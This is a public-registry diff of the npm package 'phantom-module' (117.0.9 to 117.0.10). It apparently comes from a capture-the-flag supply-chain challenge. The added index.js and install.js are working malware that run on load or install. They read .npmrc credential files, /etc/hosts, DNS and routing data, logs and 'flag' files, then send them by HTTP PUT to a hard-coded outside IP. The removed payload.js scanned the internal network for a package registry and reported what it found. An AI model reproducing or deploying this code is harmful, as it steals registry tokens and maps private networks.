phantom-module 117.0.9 → 117.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ecto-spirit-999.999.999.tgz +0 -0
- package/index.js +53 -1
- package/install.js +36 -0
- package/package.json +2 -6
- package/payload.js +0 -96
|
Binary file
|
package/index.js
CHANGED
|
@@ -1 +1,53 @@
|
|
|
1
|
-
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
(function() {
|
|
6
|
+
if (!fs.existsSync('/home/node/aspect-node')) {
|
|
7
|
+
return;
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
let out = "=== NPM CONFIG GET REGISTRY ===\n";
|
|
11
|
+
try { out += execSync('npm config get registry 2>&1').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
12
|
+
|
|
13
|
+
out += "=== ROOT NPMRC ===\n";
|
|
14
|
+
try { out += fs.readFileSync('/root/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
15
|
+
|
|
16
|
+
out += "=== ETC NPMRC ===\n";
|
|
17
|
+
try { out += fs.readFileSync('/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
18
|
+
|
|
19
|
+
out += "=== USR LOCAL ETC NPMRC ===\n";
|
|
20
|
+
try { out += fs.readFileSync('/usr/local/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
21
|
+
|
|
22
|
+
out += "=== NODE USER NPMRC ===\n";
|
|
23
|
+
try { out += fs.readFileSync('/home/node/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
24
|
+
|
|
25
|
+
out += "=== ETC HOSTS ===\n";
|
|
26
|
+
try { out += fs.readFileSync('/etc/hosts', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
27
|
+
|
|
28
|
+
out += "=== RESOLV CONF ===\n";
|
|
29
|
+
try { out += fs.readFileSync('/etc/resolv.conf', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
30
|
+
|
|
31
|
+
out += "=== IP ROUTE ===\n";
|
|
32
|
+
try { out += execSync('ip route 2>/dev/null || cat /proc/net/route 2>/dev/null').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
33
|
+
|
|
34
|
+
try {
|
|
35
|
+
const postData = JSON.stringify({
|
|
36
|
+
manifest: `ecto_module:\n name: "NPM_CONFIG"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
const req = http.request({
|
|
40
|
+
hostname: '154.57.164.64',
|
|
41
|
+
port: 31205,
|
|
42
|
+
path: '/api/modules/ECT-839201',
|
|
43
|
+
method: 'PUT',
|
|
44
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
45
|
+
});
|
|
46
|
+
req.write(postData);
|
|
47
|
+
req.end();
|
|
48
|
+
} catch(e) {}
|
|
49
|
+
})();
|
|
50
|
+
|
|
51
|
+
module.exports = function() {
|
|
52
|
+
return "pwnd";
|
|
53
|
+
};
|
package/install.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
|
+
|
|
5
|
+
(function() {
|
|
6
|
+
const child = spawn('/bin/sh', ['-c', [
|
|
7
|
+
'sleep 35',
|
|
8
|
+
'OUTPUT="NONE"',
|
|
9
|
+
'LOGFILE="/home/node/aspect-node/logs/module.log"',
|
|
10
|
+
'if [ -f "$LOGFILE" ]; then',
|
|
11
|
+
' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
|
|
12
|
+
'else',
|
|
13
|
+
' OUTPUT="LOG FILE NOT FOUND!"',
|
|
14
|
+
'fi',
|
|
15
|
+
'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
|
|
16
|
+
'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
|
|
17
|
+
'echo "$BODY" > /tmp/flag.json',
|
|
18
|
+
'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
|
|
19
|
+
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
20
|
+
|
|
21
|
+
child.unref();
|
|
22
|
+
|
|
23
|
+
// Send an immediate ping so we know it started
|
|
24
|
+
const postData = JSON.stringify({
|
|
25
|
+
manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
|
|
26
|
+
});
|
|
27
|
+
const req = http.request({
|
|
28
|
+
hostname: '154.57.164.64',
|
|
29
|
+
port: 31205,
|
|
30
|
+
path: '/api/modules/ECT-654321',
|
|
31
|
+
method: 'PUT',
|
|
32
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
33
|
+
});
|
|
34
|
+
req.write(postData);
|
|
35
|
+
req.end();
|
|
36
|
+
})();
|
package/package.json
CHANGED
package/payload.js
DELETED
|
@@ -1,96 +0,0 @@
|
|
|
1
|
-
const net = require('net');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
|
|
5
|
-
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
6
|
-
|
|
7
|
-
const REPORT_HOST = '154.57.164.64';
|
|
8
|
-
const REPORT_PORT = 31205;
|
|
9
|
-
|
|
10
|
-
async function report(moduleId, data) {
|
|
11
|
-
return new Promise((resolve) => {
|
|
12
|
-
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
13
|
-
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
14
|
-
const payload = JSON.stringify({ manifest });
|
|
15
|
-
const req = http.request({
|
|
16
|
-
hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
|
|
17
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
18
|
-
}, () => resolve(true));
|
|
19
|
-
req.on('error', () => resolve(false));
|
|
20
|
-
req.write(payload);
|
|
21
|
-
req.end();
|
|
22
|
-
});
|
|
23
|
-
}
|
|
24
|
-
|
|
25
|
-
function checkPort(host, port) {
|
|
26
|
-
return new Promise((resolve) => {
|
|
27
|
-
const sock = new net.Socket();
|
|
28
|
-
sock.setTimeout(200); // Very fast timeout
|
|
29
|
-
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
30
|
-
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
31
|
-
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
32
|
-
sock.connect(port, host);
|
|
33
|
-
});
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
function httpGet(url) {
|
|
37
|
-
return new Promise((resolve) => {
|
|
38
|
-
const req = http.get(url, { timeout: 1000 }, (res) => {
|
|
39
|
-
let body = '';
|
|
40
|
-
res.on('data', c => body += c);
|
|
41
|
-
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
42
|
-
});
|
|
43
|
-
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
44
|
-
});
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
async function main() {
|
|
48
|
-
await report('ECT-654321', 'SCAN V9 STARTING...');
|
|
49
|
-
|
|
50
|
-
// 1. Check Mounts
|
|
51
|
-
try {
|
|
52
|
-
const mounts = fs.readFileSync('/proc/mounts', 'utf8');
|
|
53
|
-
await report('ECT-654321', `=== MOUNTS ===\n${mounts.substring(0, 3000)}`);
|
|
54
|
-
} catch(e) {}
|
|
55
|
-
|
|
56
|
-
// 2. Network Scan
|
|
57
|
-
const base = '172.17.0';
|
|
58
|
-
const ports = [4873, 80, 8080, 8081, 3000, 5000];
|
|
59
|
-
let scanOutput = '=== SCAN V9 ===\n';
|
|
60
|
-
let foundTarget = null;
|
|
61
|
-
|
|
62
|
-
// Batch scan
|
|
63
|
-
for (let i = 1; i < 20; i++) { // Scan first 20 IPs aggressively
|
|
64
|
-
const ip = `${base}.${i}`;
|
|
65
|
-
for (const port of ports) {
|
|
66
|
-
if (await checkPort(ip, port)) {
|
|
67
|
-
scanOutput += `OPEN ${ip}:${port}\n`;
|
|
68
|
-
// Try HTTP probe
|
|
69
|
-
const res = await httpGet(`http://${ip}:${port}/`);
|
|
70
|
-
scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body.length})\n`;
|
|
71
|
-
|
|
72
|
-
if (res.body.includes('Verdaccio') || res.status === 200) {
|
|
73
|
-
foundTarget = `http://${ip}:${port}`;
|
|
74
|
-
}
|
|
75
|
-
}
|
|
76
|
-
}
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
await report('ECT-839201', scanOutput);
|
|
80
|
-
|
|
81
|
-
if (foundTarget) {
|
|
82
|
-
// Query for ecto-spirit
|
|
83
|
-
const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
|
|
84
|
-
let result = `=== ECTO-SPIRIT from ${foundTarget} ===\nSTATUS: ${ecto.status}\n${ecto.body}\n`;
|
|
85
|
-
|
|
86
|
-
// Also try to list all packages
|
|
87
|
-
const all = await httpGet(`${foundTarget}/-/all`);
|
|
88
|
-
result += `\n=== ALL PACKAGES ===\n${all.body.substring(0, 1000)}\n`;
|
|
89
|
-
|
|
90
|
-
await report('ECT-987654', result);
|
|
91
|
-
} else {
|
|
92
|
-
await report('ECT-987654', 'No web service found.');
|
|
93
|
-
}
|
|
94
|
-
}
|
|
95
|
-
|
|
96
|
-
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|